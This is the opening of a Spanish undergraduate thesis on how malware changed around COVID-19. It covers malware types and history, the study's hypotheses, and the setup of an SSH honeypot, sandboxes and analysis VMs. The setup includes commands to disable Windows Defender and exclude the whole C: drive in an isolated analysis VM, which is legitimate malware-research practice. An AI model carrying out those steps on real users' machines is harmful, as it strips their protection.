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Resumen

Dada la rápida digitalización global, especialmente acelerada por el COVID-19, se han

creado nuevos puntos de ataque y recursos que pueden ser aprovechados por Advanced

Persistent Threats (APTs) y otros usuarios maliciosos. Esta situación es agravada aún

más por el cambio de mentalidad de la población, donde se ha normalizado el teletrabajo

(fuera de entornos securizados) y tareas como la banca o compras en ĺınea son accesibles

para personas de todo tipo.

En este proyecto se tratará de analizar la situación pre y post COVID-19, de forma

que se resuelvan ciertas hipótesis sobre el interés y métodos de los usuarios maliciosos aśı

como la adaptación del malware a la pandemia.
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Abstract

Due to the quick digitization of assets, specially accelerated by COVID-19, new attack

vectors and resources have been created. The situation is worsened by the change in

people’s behaviour, where remote work (therefore in non secured digital spaces) and tasks

like online banking or shopping have been normalized.

In this project, the situation before and after COVID-19 will be analyzed, in a way

that certain hypothesis related to the interest and methods of malicious users would be

resolved.
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4.1 Metodoloǵıa de trabajo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
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7.2.5 La rápida digitalización y la falta de madurez en el software . . . . 60

8 InfoStealers 63

8.1 Muestra Pre-COVID: Emotet . . . . . . . . . . . . . . . . . . . . . . . . . 63

8.1.1 Introducción . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64

8.1.2 Etapas de infección de la familia Emotet . . . . . . . . . . . . . . . 65

8.1.3 Dropper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
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4.5 Metodoloǵıa para el análisis de malware, paso 2. . . . . . . . . . . . . . 30

5.1 Obtener resultados del honeypot SSH. . . . . . . . . . . . . . . . . . . 32

5.2 Ranking de hostings más usados por usuarios maliciosos. . . . . . . . . 33

5.3 Funcionamiento de un proxy - Fuente: Wikimedia por H2g2bob. . . . . 34

5.4 Página web: sslproxies.org para obtener proxies públicos gratuitos. . . . 34

5.5 Antes y después de borrar los archivos duplicados. . . . . . . . . . . . . 36

5.6 Publicación en la página: “Bitbin.it”. . . . . . . . . . . . . . . . . . . . 39

5.7 Publicación en la página: “dumpz.org”. . . . . . . . . . . . . . . . . . . 39

5.8 Contacto con data brokers. . . . . . . . . . . . . . . . . . . . . . . . . . 40
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8.14 Comportamiento del malware - Gráfico generado por JoeSandbox [8]. . . 75

8.15 Descarga de una traza de red producida al infectarse con la familia

Trickbot. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76

8.16 Uso del filtro por protocolo: DNS. . . . . . . . . . . . . . . . . . . . . . 77

8.17 Peticiones HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77

8.18 Indicador proporcionado por la CISA para identificar la familia Trickbot. 78

8.19 Llamada a API para conocer la IP. . . . . . . . . . . . . . . . . . . . . 78

8.20 Llamadas POST maliciosas. . . . . . . . . . . . . . . . . . . . . . . . . 79

8.21 “.ico” aparentemente no malicioso. . . . . . . . . . . . . . . . . . . . . 79
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Caṕıtulo 1

Introducción

1.1. Glosario

Hosting : Servicio a través del cual se presta almacenamiento y capacidad de cómputo

con el fin de mantener un servicio web o similar.

Contenedor Docker : Paquete de software ligero, independiente y ejecutable que

incluye todo lo necesario para ejecutar una aplicación: Código, tiempo de ejecución, he-

rramientas del sistema, bibliotecas del sistema y configuraciones. Véase la página principal

de Docker para más información[18].

Paste: Del inglés “pegar”, es una palabra comúnmente utilizada para referirse a texto

plano compartido en ĺınea. Existen páginas dedicadas exclusivamente a compartir este

tipo de contenido. Ejemplos de estas son: pastebin[19], hastebin[20] o pastesite[21].

API : Del inglés “Application Programming Interface”, es un tipo de interfaz para

operar con un servicio software mediante métodos o funciones expuestas. Este tipo de

interfaz no está diseñada para ser intuitiva para el usuario, sino para conectar varios

productos software entre śı.

Data Scraping : A menudo, los productos software no proveen de interfaces API al

usuario. El proceso de obtener de forma automatizada contenido de otro programa es lo

que se denomina como “Data Scraping”.

1
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Ofuscación: Se denomina ofuscación al proceso por el cual un código fuente o máquina

se enrevesa, consiguiendo un código más dif́ıcil de entender, pero manteniendo el funcio-

namiento original.

RegEx : Del inglés “Regular Expression”, es una secuencia de caracteres comúnmente

usada para la búsqueda de patrones.

Base64 : Se trata de un sistema de numeración basado en la posición que permite

representar el contenido únicamente mediante caracteres imprimibles ASCII. Concreta-

mente, se hace uso del rango de caracteres: A-Z, a-z y 0-9.

APTs: Del inglés “Advanced Persistent Threats” y traducido como “Amenaza Persis-

tente Avanzada”. Utilizado para denominar a una organización, estado o cualquier tercero

que presente intención de atacar un objetivo determinado mediante el uso de varios vecto-

res de ataque y durante un continuado periodo de tiempo. A menudo se utilizan ataques

de alta complejidad o de no conocimiento público.

Honeypot : Un honeypot o señuelo, tiene como objetivo atraer a usuarios maliciosos.

El honeypot se ubica en una red o sistema y simula el comportamiento real, haciendo

creer a los atacantes que han entrado en un sistema vulnerable. Realmente, el sistema se

encuentra aislado y permite obtener detalles del ataque como del atacante. Remı́tase a la

sección 3.1.1 para más información.

Malware: Se define como malware a cualquier software malicioso. Es decir, cualquier

tipo de software que posea intenciones maliciosas [22]. Remı́tase a la sección 2.1 para más

información.

Payload : Traducido literalmente del inglés como “carga útil”, es un conjunto de datos

transmitidos. No obstante, dentro del argot de seguridad, se denomina como payload a la

parte del malware encargada de realizar la acción maliciosa después de la infiltración.

C2 (Command and control): Método por el cual un atacante es capaz de controlar

un sistema informático comprometido. Se basa en una infraestructura esclavo-maestro por

la cual el maestro es capaz de enviar comandos al esclavo.
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Clickjacking : Se trata de una técnica maliciosa por la cual el usuario es engañado

para hacer “click” en cierto contenido. A menudo, esta técnica es usada para obtener

información confidencial.

Función Hash: Funciones con una sola dirección, es decir, que no existe operación

inversa [23]. Además, si hubiera algún cambio en las entradas, se produciŕıa el “efecto

avalancha” (si la entrada cambia ligeramente, la salida variaŕıa significativamente).

Exploit : Se conoce como “exploit” a una pieza de software o conjunto de comandos que

aprovechan una vulnerabilidad para causar un comportamiento indeseado en el software,

hardware o cualquier elemento electrónico.

Indicador de compromiso (IOCs): Se refiere a datos que podŕıan indicar que el

sistema ha sido comprometido, es decir, cualquier evidencia de un ataque.

1.2. Motivación

Con la llegada de la 4a revolución industrial y la digitalización global de los recursos,

el desarrollo tecnológico ocurre a velocidades vertiginosas. Sin embargo, el mayor cambio

a nivel global se produjo con la llegada del Sars-CoV-2 [24] (comúnmente denominado

COVID-19 ). La innovación y digitalización se han convertido en algo imprescindible,

transformándose en el principal ant́ıdoto para las industrias, empresas y cualquier otro

tipo de comercio [25].

Sin embargo, toda esta digitalización, dejó al descubierto nuevos puntos de ataque y

recursos que pueden ser aprovechados por Advanced Persistent Threats (APTs) y usuarios

maliciosos (especialmente cuando los modelos de negocio basados en el manejo de datos

son cada vez más predominantes[26]).

El rápido avance, agravado por el desarrollo, en muchas ocasiones desestructurado

y con falta de conocimiento técnico, da lugar a infraestructuras no lo suficientemente

probadas con software inmaduro y con vulnerabilidades.
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Cabe destacar también la modificación del entorno de trabajo. Los entornos antes

securizados (como podŕıan ser las oficinas) se han convertido en el propio domicilio[27]

donde la seguridad depende del individuo (a menudo con un conocimiento escaso o incluso

nulo de seguridad informática).

De manera colateral, se han producido también cambios en los propios individuos, a

los que la pandemia ha transformado. Muchos han perdido el miedo a realizar operacio-

nes cotidianas de forma online. Ejemplos son: La banca, la compra del supermercado o

trámites administrativos [28].

Es por ello que podemos observar campañas de malware que tienen como objetivo

inicial el individuo y, mediante el respectivo movimiento lateral y escalado, pretenden

llegar a objetivos más grandes y de mayor interés para los sujetos malintencionados [29].

Por todo lo expuesto, se observa claramente que existen nuevos dilemas para la segu-

ridad informática que se deben de afrontar. Concretamente, en este trabajo se tendrá en

cuenta una visión desde el punto de vista del malware.

1.3. Objetivos

Se propone exponer la situación pre y post COVID-19 desde el punto de vista del

malware; analizando campañas destacadas pre-COVID, donde el entorno de trabajo era

controlado. Se estudiarán los diversos puntos de entrada utilizados y métodos de difusión,

aśı como su intención y modelo de negocio.

Posteriormente, se obtendrán muestras maliciosas a través de los siguientes métodos:

Implantación de honeypots: Se desplegarán honeypots en la nube.

Scraping de páginas públicas de pastes (pastebin y similares): Se utilizarán

APIs para obtener los textos publicados. Cuando esto no sea posible, se hará scra-

ping manual con Python. Se espera obtener muestras codificadas en base64, URLs

maliciosas y utilización de estas plataformas como C2 (Command and Control).
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Correos maliciosos: Se analizarán emails sospechosos. Se espera encontrar estafas,

URLs y ficheros adjuntos maliciosos. En este caso, se espera no solo malware, sino

técnicas de clickjacking o similar.

Muestras desde “Zoos” o páginas utilizadas por investigadores: Existen

diversas páginas donde los investigadores publican hashes y ficheros (empacados y

desempacados), se tomarán algunas de esas muestras.

Se obtendrán y analizarán muestras hasta que el espacio muestral sea suficiente para

determinar que es representativo de las técnicas de vanguardia (véase la sección 2.3 para

más información sobre el espacio muestral).

Tras finalizar este proceso, se analizarán todos los datos obtenidos. Se hará hincapié

en datos como: Procedencia de los ataques, métodos de ofuscación utilizados, exploits y

métodos droppers utilizados, etc. de forma que se puedan refutar o aceptar las siguientes

hipótesis:

Se registra un incremento del Malware as a Service como modelo de negocio.

La digitalización de los bienes y recursos exponen nuevas superficies de ataque.

Se produce un incremento en los ataques basados en ingenieŕıa social.

Existe intención de realizar actividades de post-explotación (como movimiento la-

teral) con intención de causar daños mayores.

Además, se analizarán campañas realizadas a empresas de forma que se puedan ana-

lizar los ataques de APTs más complejas y se compararán con los resultados obtenidos

por nuestra cuenta. De nuevo, se aceptarán o refutarán las siguientes hipótesis:

Existe una brecha entre los métodos de ataque a empresas y los ataques a individuos.

El modelo de negocio para atacar a empresas y a individuos es diferente.

La rápida digitalización ha provocado en muchos casos que las infraestructuras no

sean tan robustas y probadas como debeŕıan.
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1.4. Estructura de la memoria

La estructura de la memoria se corresponde con la metodoloǵıa que se seguirá durante

el desarrollo del proyecto, de forma que el lector pueda seguir el proceso mental del autor.

Se presentan las siguientes secciones:

1. Introducción al malware: Se realiza una introducción al concepto del malware,

aśı como sus antecedentes históricos. También se introduce el concepto de familias,

lo que nos permite tener un espacio muestral representativo y sobretodo, factible de

analizar.

2. Tecnoloǵıas y herramientas utilizadas: Se muestran una serie de tecnoloǵıas y

herramientas que serán utilizadas, aśı como su proceso de instalación.

3. Metodoloǵıa: Se expone la metodoloǵıa de trabajo, tanto general del proyecto

como para el análisis de las muestras de malware.

4. Obtención de muestras: Se obtienen muestras de malware mediante los métodos

expuestos en la sección 1.3.

5. Análisis de criterios: Se obtendrán una serie de criterios que guiarán las fases

posteriores.

6. Estado del arte: Se proporciona una visión general de la situación pre y post

COVID, basándose en la literatura publicada.

7. Análisis demalware: Se realizará un análisis delmalware siguiendo la metodoloǵıa

que se presenta en la sección 4.2. En dicha sección se analizan muestras de diferente

ı́ndole de forma que se puede conocer el panorama completo.

8. Resultados: Se refutarán o aceptarán las hipótesis planteadas en la sección 1.2.

9. Conclusiones: Se resumen los resultados obtenidos y se repasa de forma general

todo el proceso.



In
t
ro

d
u
c
c
ió
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Caṕıtulo 2

Introducción al malware

2.1. ¿Qué es?

Se define como malware a cualquier software malicioso. Es decir, cualquier tipo de soft-

ware que posea intenciones maliciosas[22]. Cabe destacar que elmalware no es sinónimo de

virus, pues el concepto de malware es más amplio y engloba tanto a los virus informáticos

como a otros software dañinos (por ejemplo: spyware, adware, etc.).

Según su comportamiento, se pueden describir varios tipos de malware:

Ransomware: Bloquea el acceso al dispositivo o cifra archivos para exigir un res-

cate para devolver el acceso. El origen de esta palabra proviene del inglés “ransom”

(rescate) y la palabra “ware” proveniente de software. Es uno de los tipos de malware

que más se encuentran en auge[30] y su beneficio mediante criptomonedas, dif́ıciles

de rastrear, ha dado lugar al “RaaS” siglas para “Ransomware as a Service” (Ran-

somware como Servicio). Este tipo de servicio permite a grupos criminales ofrecer

kits alquilados o vendidos, que mediante programas de afiliación, les devuelven un

porcentaje de las ganancias.

Spyware: Recaba información sobre el dispositivo o la red para enviarla al atacante.

El principal interés suele ser cometer algún tipo de fraude o robo de identidad. Según

la actividad que se realice, podemos encontrar distintos subtipos:

7
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Introducción al malware 8

Keylogger : Es un malware que graba las pulsaciones del teclado y las env́ıa al

atacante. Su objetivo es obtener contraseñas, datos bancarios o personales, etc.

Adware: El objetivo principal es adquirir ingresos mediante publicidad no de-

seada. A menudo se recaudan datos personales para personalizar los anuncios mos-

trados.

InfoStealers: Recaban información de los sistemas infectados. Muchos buscan

información espećıfica como contraseñas, historial de navegación, etc. También es

común que este tipo de malware se ejecute una sola vez, desapareciendo posterior-

mente con el fin de dejar el mı́nimo rastro posible.

RedShell : Es un tipo de infostealer integrado en los videojuegos. Su fin suele ser

puro marketing. A menudo obtienen gran cantidad de información como el sistema

operativo, navegadores, fuentes instaladas, direcciones IP, etc.

Virus: Malware adjuntado a otros programas, al ejecutarse modifica o reemplaza

otros programas del dispositivo infectándolo.

Gusanos: El objetivo principal de este tipo de malware es multiplicarse. Al infectar

un dispositivo intentará replicarse en otros dispositivos adicionales. Algunos de los

métodos para distribuirse posteriormente son el correo electrónico o programas P2P

(Peer to Peer). Gran parte de este tipo de malware se usa en conjunto de malware

adicional[31]. Cabe destacar que dicho malware, a diferencia de los virus, no infecta

archivos, solo realiza copias de śı mismo en diferentes ubicaciones del dispositivo.

Troyanos: Se presenta al usuario como malware leǵıtimo, pero una vez que se

encuentra en el dispositivo puede robar información o instalar otras amenazas.

El término proviene de la epopeya del caballo de Troya, dentro de la “Odisea de

Homero”[32].

Rootkit : Malware que prevalece mayormente oculto o que esconde otro software.

Permite un acceso continuo al dispositivo. El origen de esta palabra proviene del
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Introducción al malware 9

inglés: “root” (ráız) y la palabra “kit” (refiriéndose a las herramientas que provee el

malware). La instalación de este tipo de malware suele ocurrir tras obtener acceso

de administrador, ya sea mediante el escalado de privilegios o cualquier método de

obtención de la contraseña del usuario. La detección y eliminación de este tipo de

malware suele ser complicada, pues a menudo corrompe al software que debeŕıa

detectarlo y puede residir en el kernel o firmware.

Mineros silenciosos: Término para el malware que realiza mineŕıa de criptomo-

nedas de forma maliciosa. Este tipo de malware utiliza los recursos del dispositivo

para minar criptomonedas para el atacante. Aunque gran cantidad de ejemplares

de este tipo soĺıan ser programas que se descargaban y ejecutaban en el dispositivo,

actualmente es bastante extendido el uso de mineros mediante el navegador con

Javascript [33]. A este suceso se le denomina “CryptoJacking”.

2.2. Antecedentes históricos

El término “virus informático” se presenta por primera vez en la literatura en 1984

cuando Fred Cohen escribió su art́ıculo “Computer Viruses – Theory and Experiments”[34]

en el cual denominaba a programas que se autoreplicaban “virus”.

Sin embargo, el concepto exist́ıa ya mucho antes. En 1949, el profesor John Von Neu-

mann de la Universidad de Illinois publicó en 1969 un art́ıculo llamado “Theory of self-

reproducing automata”[35] en el que describ́ıa como un programa de ordenador podŕıa ser

diseñado para replicarse a śı mismo.

A partir de ese art́ıculo, se publicaron otros en los que se describ́ıan implementaciones

completas de la teoŕıa expuesta por Neumann. Ejemplo es el art́ıculo “Selbstreproduzieren-

de Automaten mit minimaler Informationsübertragung”[36] (en español: Autómatas que

se reproducen a śı mismos con un mı́nimo intercambio de información) de Veith Risak en

1972.
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Introducción al malware 10

De esta forma, el término malware se acuñó mucho más tarde por Yisrael Radai en

1990[37], y haciendo referencia a todo tipo de software malicioso que conocemos actual-

mente (troyanos, gusanos, etc.).

El primer virus informático que se encontró (que no fuera un concepto de laboratorio)

fue “Elk Cloner” en 1982[38]. Puesto que el acceso a internet no estaba extendido aún, la

propagación se produjo mediante disquetes que infectaban los sectores de arranque.

Los primeros gusanos con infección por red ocurrieron en sistemas multitarea Unix [39].

Estos usaban vulnerabilidades en programas de servidores para crear un proceso indepen-

diente. Nótese que el comportamiento de los gusanos actuales sigue siendo similar.

Posteriormente, en los 90, con la aparición de la plataforma de Microsoft Windows y

su suite Office, proliferó el malware que abusaba de las funciones macro de documentos

y hojas de cálculo[22].

A partir de ah́ı, se comenzaron a utilizar los canales de comunicación que estuvieran

de moda, por ejemplo, mensajeŕıa instantánea o redes sociales con publicidad deshonesta.

Estos últimos son los que hemos definido en la sección 2.1 como “adware”.

Desde 2012 se comenzó a popularizar mundialmente elmalware denominado “ransomware”[40],

causando daños monetarios y f́ısicos enormes a las infraestructuras, tanto a empresas como

a particulares.

Finalmente, desde 2017, y posiblemente por el reciente auge en popularidad y valor

de las criptomonedas, se ha popularizado la práctica del “cryptojacking”[41], donde el

dispositivo infectado se utiliza para obtener criptomonedas mediante minado.

2.3. Familias y espacio muestral

Aunque existen muchas campañas de malware activas, obtener una muestra represen-

tativa es sencillo. Esto se debe a que las muestras se pueden clasificar por familias.

Se conoce por familia de malware al grupo de aplicaciones que utilizan técnicas de

ataque similares[42]. Clasificar el malware por familia puede ser de gran utilidad, no solo
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Introducción al malware 11

para su categorización, sino para el análisis de las muestras. Para clasificar las muestras

por familias, se buscan ciertos identificadores, los cuales pueden clasificarse en estáticos o

dinámicos según el método de extracción.

Algunas formas estáticas para extraer identificadores pueden ser secuencias de código

máquina, instrucciones binarias o importaciones de libreŕıas dinámicas. Por otro lado,

algunas formas dinámicas podŕıan ser comandos utilizados, comunicaciones de red y fun-

ciones o llamadas al sistema[43].

Por suerte, la comunidad de análisis de malware sigue una filosof́ıa similar a la comu-

nidad open-source. No solo por las numerosas herramientas de código abierto, sino por la

gran interacción que existe entre los investigadores a la hora de compartir conocimiento

y muestras maliciosas.

Como primer ejemplo de herramienta, se puede encontrar URLhaus [44], un proyec-

to de abuse.ch[45] dirigido por la Universidad de Berna. Esta herramienta permite una

simbiosis entre empresas e investigadores en la cual los individuos proponen URLs que

poseen malware. Las empresas están directamente interesadas, ya que permite a sus ad-

ministradores de sistemas proteger sus redes y clientes de conocidas amenazas.

Las estad́ısticas se encuentran disponibles de forma abierta, por lo que podŕıamos

hacernos una idea de la gran cantidad de URLs que se presentan diariamente pero las

pocas familias en las que se pueden clasificar.

Figura 2.1: URLs que contienen malware enviadas a URLhaus en los últimos 30 d́ıas.



In
t
ro

d
u
c
c
ió
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Introducción al malware 12

Como se puede observar en la figura 2.1 se publican más de 2000 URLs diarias que se

podŕıan atribuir a campañas de malware distintas. Sin embargo, si observamos las familias

de malware que se han registrado en la plataforma, puede denotarse que la mayoŕıa de

muestras pueden clasificarse en torno a 10 familias.

En este caso, el identificador para su clasificación ha sido el payload, es decir, el com-

ponente del ataque que causa daño a la v́ıctima.

Figura 2.2: Payloads por familia de malware identificada por URLhaus.

Por otro lado, podemos analizar los datos que nos provee la herramienta OTX de

AlienVault [46]. Esta herramienta funciona de forma similar a la presentada anteriormente.

En esta plataforma, la comunidad publica informes a los que llaman “Pulsos”. Estos pulsos

poseen información de indicadores de compromiso (IOCs), software objetivo y muchos

otros detalles.

En su página “Dashboard” se pueden observar representaciones gráficas de los datos

que se publican en tiempo real. Por ejemplo, podemos ver todas las muestras por familia

de malware que se han presentado en los últimos 30 d́ıas (fig. 2.3).
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Figura 2.3: Familias de malware combinadas en clusters.

También es posible ver las mismas muestras clasificadas por tipo de malware según su

comportamiento en un espacio temporal de 30 d́ıas (fig. 2.4).

Figura 2.4: Familias de malware clasificadas por categoŕıa.
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Caṕıtulo 3

Tecnoloǵıas y herramientas utilizadas

En este caṕıtulo se van a introducir las distintas herramientas y tecnoloǵıas utiliza-

das para llevar a cabo este proyecto. Para hacer una clasificación, se dividirán según su

localización, es decir, instaladas en la nube o instaladas de forma local.

3.1. Configuración en la nube

Se define como servicio en la nube a cualquier servicio que se utilice a través de

Internet. La ventaja principal que brinda este tipo de servicios es la posibilidad de obtener

una dirección que hace a la máquina o servicio accesible desde cualquier lugar del mundo.

Además, de esta forma, el servicio puede estar corriendo las 24 horas casi sin interrupción.

3.1.1. Honeypots

Un honeypot o señuelo tiene como objetivo atraer a usuarios maliciosos. El honeypot, se

ubica en una red o sistema y simula el comportamiento real, haciendo creer a los atacantes

que han entrado en un sistema vulnerable. Realmente el sistema se encuentra aislado y

permite obtener detalles tanto del ataque como del atacante.

Existen diversos tipos de honeypots : Los honeypots de baja interacción y los de alta

interacción. Tal y como su nombre indica, la principal diferencia entre ellos recae en la

15
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Tecnoloǵıas y herramientas 16

cantidad de interacción que existe entre el honeypot y el atacante.

Los honeypots de baja interacción suelen utilizar pocos recursos y su complejidad

de código y comportamiento son limitados. Estos se suelen ceñir a simular servicios

comúnmente utilizados por los atacantes. Por otro lado, los honeypots de alta interacción

suelen albergar diversos servicios a la vez y orquestarlos para que trabajen en conjunto,

esto supone un coste mucho mayor. A cambio de este mayor coste, se pueden obtener más

detalles de los intereses del atacante y de su metodoloǵıa.

No obstante, en este proyecto utilizaremos un honeypot de baja interacción, pues

actuar de forma pasiva es más que suficiente para nuestras necesidades.

SSH Honeypot en Amazon Web Services (AWS)

Amazon Web Services (AWS)[47] es el servicio de cloud computing que proporcio-

na Amazon. En concreto, para este honeypot se hará uso de su servicio denominado

“Lightsail”[48]. Lightsail es un proveedor de servidor virtual privado (VPS ) de fácil uso y

con planes bastante asequibles.

El sistema a replicar es una máquina con un SSH (Secure Shell) público. SSH es

probablemente el protocolo más utilizado entre administradores de sistemas pues permite

realizar administración de forma remota.

Para esto no se precisa de gran capacidad de cómputo, de hecho, tal y como se puede ver

en la figura 3.1 la opción más asequible (de tan solo 512MB y 1vCPU ) será la seleccionada.
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Tecnoloǵıas y herramientas 17

Figura 3.1: Planes de pago en AWS Lightsail.

El proceso de creación de la instancia es bastante sencillo, pues solo es necesario

establecer el nombre, región y sistema operativo deseado. En este caso, el sistema operativo

será Ubuntu 20.04, que es la versión que se ofrece más reciente. Además, es necesario

descargar la clave de SSH (fig. 3.2) que será la que se utilizará para iniciar sesión en la

máquina.

Figura 3.2: Clave SSH de la instancia.



T
ec

n
o
lo

g
ı́a
s
y

h
er

r
a
m
ie
n
ta

s

T
ec

n
o
lo

g
ı́a
s
y

h
er

r
a
m
ie
n
ta

s

T
ec

n
o
lo

g
ı́a
s
y

h
er

r
a
m
ie
n
ta

s

Tecnoloǵıas y herramientas 18

Tal y como se puede ver en la figura 3.3, tras dar permisos al archivo de la clave SSH,

es posible acceder sin problemas al servicio.

Figura 3.3: Uso del comando chmod para gestionar los permisos del certificado.

Sin embargo, SSH utiliza el puerto 22 por defecto, por lo que para poder usarlo

mientras que tenemos el honeypot activo en su puerto, debemos cambiar el número de

puerto a utilizar. Esto es bastante sencillo, solo basta con modificar el puerto en el fichero

de configuración del daemon de SSH (fig. 3.4) y cambiar las reglas del firewall para

permitir el tráfico por el nuevo puerto (figuras 3.5 y 3.6).

Figura 3.4: Fichero de configuración del daemon de SSH.
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Figura 3.5: Reglas del firewall “ufw”.

Figura 3.6: Reglas del firewall en AWS.

Finalmente, es necesario instalar el propio honeypot. En concreto utilizaré uno que

está disponible en Github con t́ıtulo: “Basic ssh honeypot with downloader”[49]. Se posee

como requisito Docker y Docker compose. Siguiendo los pasos de su documentación:

\$ sudo apt-get update

\$ sudo apt-get install apt-transport-https ca-certificates curl gnupg lsb-release

\$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o
/usr/share/keyrings/docker-archive-keyring.gpg↪→

\$ echo "deb [arch=$(dpkg --print-architecture)
signed-by=/usr/share/keyrings/docker-archive-keyring.gpg]
https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee
/etc/apt/sources.list.d/docker.list > /dev/null

↪→

↪→

↪→

\$ sudo apt-get update

\$ sudo apt-get install docker-ce docker-ce-cli containerd.io

Puesto que se trata de un contenedor Docker, su instalación y configuración es muy

sencilla. Basta con ejecutar los siguientes comandos:

\$ iptables -A PREROUTING -t nat -p tcp --dport 22 -j REDIRECT --to-port 2222

\$ ssh-keygen -t rsa -f server.key
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\$ docker-compose build

\$ docker-compose up

Nótese el primer comando, estamos realizando lo que se denomina “port fordwarding”.

Básicamente este concepto significa que el tráfico de un puerto se redirige a otro. Esto

es realmente necesario ya que los puertos en el rango 1-1023 son puertos privilegiados, es

decir, requieren de permisos de administrador. Otra opción seŕıa correr este servicio con

permisos de administrador, aunque esto es una práctica nefasta desde el punto de vista

de la seguridad.

Para resumir, la configuración que tenemos actualmente es la siguiente:

Figura 3.7: Diagrama de la infraestructura del honeypot.

Un puerto 22 abierto a internet.

Una configuración de firewall que env́ıa a nivel local todo el tráfico del puerto 22 al

puerto 2222 de forma que el honeypot pueda ejecutarse sin permisos de administra-

dor. De esta manera, el atacante no tiene conocimiento de esta regla y piensa que

su conexión al puerto 22 es un sistema SSH común.

Un puerto 61234 con el puerto SSH real, que será el utilizado para acceder a la

máquina.
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Figura 3.8: El honeypot en acción.

Tal y como se puede apreciar en la figura 3.8, ya se encuentra en ejecución y se guardan

los logs en los ficheros “ssh_honeypot.log” y “ssh_honeypot_downloader.log”.

En cuestión de minutos se aprecia una gran actividad en el honeypot y en solo cuestión

de horas se obtuvieron muestras de malware. En la figura 3.9 se puede ver cómo obtengo

un par de muestras que hab́ıan sido obtenidas desde el VPS a mi máquina virtual local.

El uso y obtención de muestras desde el honeypot se desarrollará en detalle en la sección

5.1.

Figura 3.9: Obtener resultados del honeypot.

3.1.2. Cuckoo Sandbox

Cucko sandbox [50] es uno de los sistemas de análisis de malware de forma automática

más utilizados. Además, es un software modular y de código abierto.

Aunque es posible ejecutar este software virtualizado de forma local, la autoridad de

información de sistemas de Estonia (CERT-EE )[51], provee, probablemente, la instancia

de Cuckoo más conocida entre los investigadores.
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Esta instancia presenta en el momento más de 120TB de almacenamiento, 56 cores

de CPU y 738 GB de memoria RAM. Puesto que obtener una máquina con tales ca-

racteŕısticas es bastante costoso, haré uso de este servicio gratuito. El servicio se puede

encontrar en la siguiente URL: https://cuckoo.cert.ee/

3.2. Virtualización Local

La posibilidad de simular varias instancias de sistemas operativos en la misma máquina

y simular un sistema real con poĺıticas de seguridad mucho más restrictivas, hacen de la

virtualización una herramienta muy poderosa para el análisis de malware.

Para la virtualización local se ha utilizado el software VMWare Workstation Pro[52].

Dicho software es una solución sencilla para la creación de máquinas virtuales.

En realidad, cualquier software de virtualización hubiera bastado, siempre que el soft-

ware posea capacidades de realizar “snapshots”. Esta caracteŕıstica, permite realizar pun-

tos de guardado del estado de la máquina virtual, pudiendo volver a ellos cuando se

desee.

También es importante que se provea la capacidad de crear redes virtuales y conectar

o desconectar la máquina virtual del internet; de esta forma, la máquina virtual puede

quedar aislada y no infectar al resto de dispositivos de la red.

Para la realización del proyecto, se ha hecho uso de varias máquinas virtuales:

3.2.1. REMnux

REMnux [53] es realmente un conjunto de herramientas para la ingenieŕıa inversa, sin

embargo, también proveen una distribución Linux basada en Ubuntu que tiene todas las

herramientas ya instaladas.

https://cuckoo.cert.ee/
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Algunos de los usos que se mencionan en la web del proyecto son: análisis de código ma-

licioso, ingenieŕıa inversa de forma dinámica, análisis forense, exploración de interacciones

de red, análisis de documentos maliciosos, etc.

Figura 3.10: Importación del “.ova” a VMWare Workstation.

Su instalación es muy sencilla, pues se provee un archivo estándar .OVA. Un archivo

.OVA permite importar directamente la máquina virtual totalmente configurada. Tal y

como se puede ver en la figura 3.10, solo hace falta especificar el nombre que le queremos

dar a la máquina y la ruta al .OVA.

Se expondrá su uso y las herramientas que posee durante el propio análisis de malware.

3.2.2. Windows 10

También será necesaria una máquina virtual con el sistema operativo de Windows 10.

De esta forma, podremos ejecutar el malware y analizar de forma dinámica las muestras.

Microsoft provee máquinas virtuales para desarrolladores e investigadores de forma

gratuita. Se pueden obtener desde la página: https://developer.microsoft.com/en-

us/microsoft-edge/tools/vms/

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
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Tecnoloǵıas y herramientas 24

Figura 3.11: Descarga de Windows 10.

La instalación es exactamente igual que con REMnux [53], basta con importar el fichero

.ovf. La contraseña por defecto es “Passw0rd!”.

También será necesario modificar el espacio de disco asignado, por dos motivos:

1. El malware a menudo busca indicadores de encontrarse en máquinas virtuales, un

espacio en disco inusual es uno de los utilizados comúnmente.

2. Para instalar el software que necesitamos serán necesario mı́nimo 60GB.

Además, puesto que queremos que el malware se ejecute de forma totalmente libre,

será necesario eliminar cualquier protección. Entre ellas deberemos deshabilitar Windows

Defender, aśı como la protección en tiempo real, la protección desde el Cloud y el env́ıo

de muestras (fig. 3.12).
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Figura 3.12: Deshabilitar Windows Defender, aśı como la protección en tiempo real, la
protección desde el Cloud y el env́ıo de muestras.

Aunque ya seŕıa suficiente, también agregamos la carpeta del disco ráız “C://” a la

lista de exclusión.
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Figura 3.13: Exclusión de la carpeta ráız “C://” en Windows Defender.

Finalmente, utilizaremos el instalador de Flare-VM [54]. Flare-VM es una distribución

basada en Windows de la mano de FireEye[55]. El proceso de instalación se encarga

de muchas de las pretareas necesarias para el análisis de malware, como desactivar las

actualizaciones automáticas e instalar software como debuggers, herramientas de análisis

de red, decompiladores, etc.

El concepto y motivo por el que se ha decidido usar esta herramienta es el mismo

por el que se ha decidido usar REMnux. Toda esta suite de software y configuraciones

permiten hacer las tareas de un analista de malware de una forma mucho más sencilla.

Nótese que existe redundancia en algunos casos entre el software de la máquina Linux

y Windows, pero esto no supone ningún problema, de hecho, es incluso razonable, pues

cuando estemos haciendo análisis de malware trataremos de dejar la máquina virtual lo

más aislada posible.

Su instalación, aunque dura varias horas, es bastante sencilla. Basta con correr el

archivo “install.ps1” en una consola Powershell como administrador y sin restricciones de

ejecución. Se puede encontrar el repositorio con el archivo en la siguiente URL:

https://github.com/mandiant/flare-vm

https://github.com/mandiant/flare-vm
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Metodoloǵıa

4.1. Metodoloǵıa de trabajo

Puesto que no se trata de un proyecto centrado en código, las metodoloǵıas comúnmente

utilizadas en el desarrollo de software no pueden aplicarse como tal. Sin embargo, se to-

marán ideas y buenas prácticas de diferentes metodoloǵıas para crear aśı el mejor conjunto

de métodos para la realización del proyecto.

